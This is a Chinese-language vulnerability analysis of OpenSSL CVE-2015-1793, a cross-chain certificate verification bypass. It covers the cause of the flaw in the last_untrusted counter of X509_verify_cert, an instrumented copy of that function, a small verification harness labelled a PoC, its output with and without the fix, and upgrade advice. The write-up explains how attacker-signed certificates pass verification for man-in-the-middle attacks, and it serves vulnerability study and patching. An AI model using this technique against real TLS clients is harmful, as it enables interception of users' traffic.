前言
OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞,其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。
360安全研究员au2o3t对该漏洞进行了原理上的分析,确认是一个绕过交叉链类型证书验证的高危漏洞,可以让攻击者构造证书来绕过交叉验证,用来形成诸如“中间人”等形式的攻击。
1.漏洞基本原理
直接看最简单的利用方法(利用方法包括但不限于此):
攻击者从一公共可信的 CA (C)处签得一证书 X,并以此证书签发另一证书 V(含对X的交叉引用),那么攻击者发出的证书链 V, R (R为任意证书)对信任 C 的用户将是可信的。
显然用户对 V, R 链的验证会返回失败。
对不支持交叉链认证的老版本来说,验证过程将以失败结束。
对支持交叉认证的版本,则将会尝试构建交叉链 V, X, C,并继续进行验证。
虽然 V, X, C 链能通过可信认证,但会因 X 的用法不包括 CA 而导致验证失败。
但在 openssl-1.0.2c 版本,因在对交叉链的处理中,对最后一个不可信证书位置计数的错误,导致本应对 V, X 记为不可信并验证,错记为了仅对 V 做验证,而没有验证攻击者的证书 X,返回验证成功。
2.具体漏洞分析
漏洞代码位于文件:openssl-1.0.2c/crypto/x509/x509_vfy.c
函数:X509_verify_cert() 中
第 392 行:“ctx->last_untrusted–;”
对问题函数 X509_verify_cert 的简单分析:
( 为方便阅读,仅保留与证书验证强相关的代码,去掉了诸如变量定义、错误处理、资源释放等非主要代码)
问题在于由 <1> 处加入颁发者时及 <2> 处验证(颁发者)后,证书链计数增加,但 最后一个不可信证书位置计数 并未增加,
而在 <4> 处去除过程中 最后一个不可信证书位置计数 额外减少了,导致后面验证过程中少验。
(上述 V, X, C 链中应验 V, X 但少验了 X)
代码分析如下,
int X509_verify_cert(X509_STORE_CTX *ctx)
{
// 将 ctx->cert 做为不信任证书压入需验证链 ctx->chain
// STACK_OF(X509) *chain 将被构造为证书链,并最终送到 internal_verify() 中去验证
sk_X509_push(ctx->chain,ctx->cert);
// 当前链长度(==1)
num = sk_X509_num(ctx->chain);
// 取出第 num 个证书
x = sk_X509_value(ctx->chain, num - 1);
// 存在不信任链则复制之
if (ctx->untrusted != NULL && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
// 预设定的最大链深度(100)
depth = param->depth;
// 构造需验证证书链
for (;;) {
// 超长退出
if (depth < num)
break;
// 遇自签退出(链顶)
if (cert_self_signed(x))
break;
if (ctx->untrusted != NULL) {
xtmp = find_issuer(ctx, sktmp, x);
// 当前证书为不信任颁发者(应需CA标志)颁发
if (xtmp != NULL) {
// 则加入需验证链
if (!sk_X509_push(ctx->chain, xtmp)) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
(void)sk_X509_delete_ptr(sktmp, xtmp);
// 最后一个不可信证书位置计数 自增1
ctx->last_untrusted++;
x = xtmp;
num++;
continue;
}
}
break;
}
do {
i = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, i - 1);
// 若最顶证书是自签的
if (cert_self_signed(x)) {
// 若需验证链长度 == 1
if (sk_X509_num(ctx->chain) == 1) {
// 在可信链中查找其颁发者(找自己)
ok = ctx->get_issuer(&xtmp, ctx, x);
// 没找到或不是相同证书
if ((ok <= 0) || X509_cmp(x, xtmp)) {
ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
ctx->current_cert = x;
ctx->error_depth = i - 1;
if (ok == 1)
X509_free(xtmp);
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
// 找到
} else {
X509_free(x);
x = xtmp;
// 入到可信链
(void)sk_X509_set(ctx->chain, i - 1, x);
// 最后一个不可信证书位置计数 置0
ctx->last_untrusted = 0;
}
// 最顶为自签证书 且 证书链长度>1
} else {
// 弹出
chain_ss = sk_X509_pop(ctx->chain);
// 最后一个不可信证书位置计数 自减
ctx->last_untrusted--;
num--;
j--;
// 保持指向当前最顶证书
x = sk_X509_value(ctx->chain, num - 1);
}
}
// <1>
// 继续构造证书链(加入颁发者)
for (;;) {
// 自签退出
if (cert_self_signed(x))
break;
// 在可信链中查找其颁发者
ok = ctx->get_issuer(&xtmp, ctx, x);
// 出错
if (ok < 0)
return ok;
// 没找到
if (ok == 0)
break;
x = xtmp;
// 将不可信证书的颁发者(证书)加入需验证证书链
if (!sk_X509_push(ctx->chain, x)) {
X509_free(xtmp);
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
return 0;
}
num++;
}
// <2>
// 验证 for(;;) 中加入的颁发者链
i = check_trust(ctx);
if (i == X509_TRUST_REJECTED)
goto end;
retry = 0;
// <3>
// 检查交叉链
if (i != X509_TRUST_TRUSTED
&& !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
&& !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
while (j-- > 1) {
xtmp2 = sk_X509_value(ctx->chain, j - 1);
// 其实得到一个“看似合理”的证书就返回,这里实际上仅仅根据 CN域 查找颁发者
ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
if (ok < 0)
goto end;
// 存在交叉链
if (ok > 0) {
X509_free(xtmp);
// 去除交叉链以上部分
while (num > j) {
xtmp = sk_X509_pop(ctx->chain);
X509_free(xtmp);
num--;
// <4>
// 问题所在
ctx->last_untrusted--;
}
// <5>
retry = 1;
break;
}
}
}
} while (retry);
……
}
官方的解决方法是在 <5> 处重新计算 最后一个不可信证书位置计数 的值为链长:
ctx->last_untrusted = sk_X509_num(ctx->chain);
并去掉 <4> 处的 最后一个不可信证书位置计数 自减运算(其实去不去掉都无所谓)。
另一个解决办法可以是在 <1> <2> 后,在 <3> 处重置 最后一个不可信证书位置计数,加一行:
_ctx->last_untrusted = num;_
这样 <4> 处不用删除,而逻辑也是合理并前后一致的。
3.漏洞验证
笔者修改了部分代码并做了个Poc 。
修改代码:
int X509_verify_cert( X509_STORE_CTX *ctx )
{
X509 *x, *xtmp, *xtmp2, *chain_ss = NULL;
int bad_chain = 0;
X509_VERIFY_PARAM *param = ctx->param;
int depth, i, ok = 0;
int num, j, retry;
int (*cb)( int xok, X509_STORE_CTX *xctx );
STACK_OF( X509 ) * sktmp = NULL;
if ( ctx->cert == NULL )
{
X509err( X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY );
return(-1);
}
cb = ctx->verify_cb;
/*
*
* first we make sure the chain we are going to build is present and that
*
* the first entry is in place
*
*/
if ( ctx->chain == NULL )
{
if ( ( (ctx->chain = sk_X509_new_null() ) == NULL) ||
(!sk_X509_push( ctx->chain, ctx->cert ) ) )
{
X509err( X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE );
goto end;
}
CRYPTO_add( &ctx->cert->references, 1, CRYPTO_LOCK_X509 );
ctx->last_untrusted = 1;
}
/* We use a temporary STACK so we can chop and hack at it */
if ( ctx->untrusted != NULL
&& (sktmp = sk_X509_dup( ctx->untrusted ) ) == NULL )
{
X509err( X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE );
goto end;
}
num = sk_X509_num( ctx->chain );
x = sk_X509_value( ctx->chain, num - 1 );
depth = param->depth;
for (;; )
{
/* If we have enough, we break */
if ( depth < num )
break; /* FIXME: If this happens, we should take
*
* note of it and, if appropriate, use the
*
* X509_V_ERR_CERT_CHAIN_TOO_LONG error code
*
* later. */
/* If we are self signed, we break */
if ( cert_self_signed( x ) )
break;
/*
*
* If asked see if we can find issuer in trusted store first
*
*/
if ( ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST )
{
ok = ctx->get_issuer( &xtmp, ctx, x );
if ( ok < 0 )
return(ok);
/*
*
* If successful for now free up cert so it will be picked up
*
* again later.
*
*/
if ( ok > 0 )
{
X509_free( xtmp );
break;
}
}
/* If we were passed a cert chain, use it first */
if ( ctx->untrusted != NULL )
{
xtmp = find_issuer( ctx, sktmp, x );
if ( xtmp != NULL )
{
if ( !sk_X509_push( ctx->chain, xtmp ) )
{
X509err( X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE );
goto end;
}
CRYPTO_add( &xtmp->references, 1, CRYPTO_LOCK_X509 );
(void) sk_X509_delete_ptr( sktmp, xtmp );
ctx->last_untrusted++;
x = xtmp;
num++;
/*
*
* reparse the full chain for the next one
*
*/
continue;
}
}
break;
}
/* Remember how many untrusted certs we have */
j = num;
/*
*
* at this point, chain should contain a list of untrusted certificates.
*
* We now need to add at least one trusted one, if possible, otherwise we
*
* complain.
*
*/
do
{
/*
*
* Examine last certificate in chain and see if it is self signed.
*
*/
i = sk_X509_num( ctx->chain );
x = sk_X509_value( ctx->chain, i - 1 );
if ( cert_self_signed( x ) )
{
/* we have a self signed certificate */
if ( sk_X509_num( ctx->chain ) == 1 )
{
/*
*
* We have a single self signed certificate: see if we can
*
* find it in the store. We must have an exact match to avoid
*
* possible impersonation.
*
*/
ok = ctx->get_issuer( &xtmp, ctx, x );
if ( (ok <= 0) || X509_cmp( x, xtmp ) )
{
ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
ctx->current_cert = x;
ctx->error_depth = i - 1;
if ( ok == 1 )
X509_free( xtmp );
bad_chain = 1;
ok = cb( 0, ctx );
if ( !ok )
goto end;
} else {
/*
*
* We have a match: replace certificate with store
*
* version so we get any trust settings.
*
*/
X509_free( x );
x = xtmp;
(void) sk_X509_set( ctx->chain, i - 1, x );
ctx->last_untrusted = 0;
}
} else {
/*
*
* extract and save self signed certificate for later use
*
*/
chain_ss = sk_X509_pop( ctx->chain );
ctx->last_untrusted--;
num--;
j--;
x = sk_X509_value( ctx->chain, num - 1 );
}
}
/* We now lookup certs from the certificate store */
for (;; )
{
/* If we have enough, we break */
if ( depth < num )
break;
/* If we are self signed, we break */
if ( cert_self_signed( x ) )
break;
ok = ctx->get_issuer( &xtmp, ctx, x );
if ( ok < 0 )
return(ok);
if ( ok == 0 )
break;
x = xtmp;
if ( !sk_X509_push( ctx->chain, x ) )
{
X509_free( xtmp );
X509err( X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE );
return(0);
}
num++;
}
/* we now have our chain, lets check it... */
i = check_trust( ctx );
/* If explicitly rejected error */
if ( i == X509_TRUST_REJECTED )
goto end;
/*
*
* If it's not explicitly trusted then check if there is an alternative
*
* chain that could be used. We only do this if we haven't already
*
* checked via TRUSTED_FIRST and the user hasn't switched off alternate
*
* chain checking
*
*/
retry = 0;
/* <1> */
/* ctx->last_untrusted = num; */
if ( i != X509_TRUST_TRUSTED
&& !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
&& !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS) )
{
while ( j-- > 1 )
{
xtmp2 = sk_X509_value( ctx->chain, j - 1 );
ok = ctx->get_issuer( &xtmp, ctx, xtmp2 );
if ( ok < 0 )
goto end;
/* Check if we found an alternate chain */
if ( ok > 0 )
{
/*
*
* Free up the found cert we'll add it again later
*
*/
X509_free( xtmp );
/*
*
* Dump all the certs above this point - we've found an
*
* alternate chain
*
*/
while ( num > j )
{
xtmp = sk_X509_pop( ctx->chain );
X509_free( xtmp );
num--;
ctx->last_untrusted--;
}
retry = 1;
break;
}
}
}
}
while ( retry );
printf( " num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num( ctx->chain ) );
/*
*
* If not explicitly trusted then indicate error unless it's a single
*
* self signed certificate in which case we've indicated an error already
*
* and set bad_chain == 1
*
*/
if ( i != X509_TRUST_TRUSTED && !bad_chain )
{
if ( (chain_ss == NULL) || !ctx->check_issued( ctx, x, chain_ss ) )
{
if ( ctx->last_untrusted >= num )
ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;
else
ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;
ctx->current_cert = x;
} else {
sk_X509_push( ctx->chain, chain_ss );
num++;
ctx->last_untrusted = num;
ctx->current_cert = chain_ss;
ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;
chain_ss = NULL;
}
ctx->error_depth = num - 1;
bad_chain = 1;
ok = cb( 0, ctx );
if ( !ok )
goto end;
}
printf( "flag=1\n" );
/* We have the chain complete: now we need to check its purpose */
ok = check_chain_extensions( ctx );
if ( !ok )
goto end;
printf( "flag=2\n" );
/* Check name constraints */
ok = check_name_constraints( ctx );
if ( !ok )
goto end;
printf( "flag=3\n" );
ok = check_id( ctx );
if ( !ok )
goto end;
printf( "flag=4\n" );
/* We may as well copy down any DSA parameters that are required */
X509_get_pubkey_parameters( NULL, ctx->chain );
/*
*
* Check revocation status: we do this after copying parameters because
*
* they may be needed for CRL signature verification.
*
*/
ok = ctx->check_revocation( ctx );
if ( !ok )
goto end;
printf( "flag=5\n" );
i = X509_chain_check_suiteb( &ctx->error_depth, NULL, ctx->chain,
ctx->param->flags );
if ( i != X509_V_OK )
{
ctx->error = i;
ctx->current_cert = sk_X509_value( ctx->chain, ctx->error_depth );
ok = cb( 0, ctx );
if ( !ok )
goto end;
}
printf( "flag=6\n" );
/* At this point, we have a chain and need to verify it */
if ( ctx->verify != NULL )
ok = ctx->verify( ctx );
else
ok = internal_verify( ctx );
if ( !ok )
goto end;
printf( "flag=7\n" );
#ifndef OPENSSL_NO_RFC3779
/* RFC 3779 path validation, now that CRL check has been done */
ok = v3_asid_validate_path( ctx );
if ( !ok )
goto end;
ok = v3_addr_validate_path( ctx );
if ( !ok )
goto end;
#endif
printf( "flag=8\n" );
/* If we get this far evaluate policies */
if ( !bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK) )
ok = ctx->check_policy( ctx );
if ( !ok )
goto end;
if ( 0 )
{
end:
X509_get_pubkey_parameters( NULL, ctx->chain );
}
if ( sktmp != NULL )
sk_X509_free( sktmp );
if ( chain_ss != NULL )
X509_free( chain_ss );
printf( "ok=%d\n", ok );
return(ok);
}
Poc:
/* */
/* 里头的证书文件自己去找一个,这个不提供了 */
/* */
#include <stdio.h>
#include <openssl/crypto.h>
#include <openssl/bio.h>
#include <openssl/x509.h>
#include <openssl/pem.h>
STACK_OF( X509 ) * load_certs_from_file( const char *file )
{
STACK_OF( X509 ) * certs;
BIO *bio;
X509 *x;
bio = BIO_new_file( file, "r" );
certs = sk_X509_new_null();
do
{
x = PEM_read_bio_X509( bio, NULL, 0, NULL );
sk_X509_push( certs, x );
}
while ( x != NULL );
return(certs);
}
void test( void )
{
X509 *x = NULL;
STACK_OF( X509 ) * untrusted = NULL;
BIO *bio = NULL;
X509_STORE_CTX *sctx = NULL;
X509_STORE *store = NULL;
X509_LOOKUP *lookup = NULL;
store = X509_STORE_new();
lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );
X509_LOOKUP_load_file( lookup, "roots.pem", X509_FILETYPE_PEM );
untrusted = load_certs_from_file( "untrusted.pem" );
bio = BIO_new_file( "bad.pem", "r" );
x = PEM_read_bio_X509( bio, NULL, 0, NULL );
sctx = X509_STORE_CTX_new();
X509_STORE_CTX_init( sctx, store, x, untrusted );
X509_verify_cert( sctx );
}
int main( void )
{
test();
return(0);
}
将代码中 X509_verify_cert() 函数加入输出信息如下:
编译,以伪造证书测试,程序输出信息为:
num=1, real-num=3
flag=1
flag=2
flag=3
flag=4
flag=5
flag=6
flag=7
flag=8
ok=1
认证成功
将 <1> 处注释代码去掉,编译,再以伪造证书测试,程序输出信息为:
num=3, real-num=3
flag=1
ok=0
认证失败
4.安全建议
建议使用受影响版本(OpenSSL 1.0.2b/1.0.2c 和 OpenSSL 1.0.1n/1.0.1o)的 产品或代码升级OpenSSL到最新版本
Comments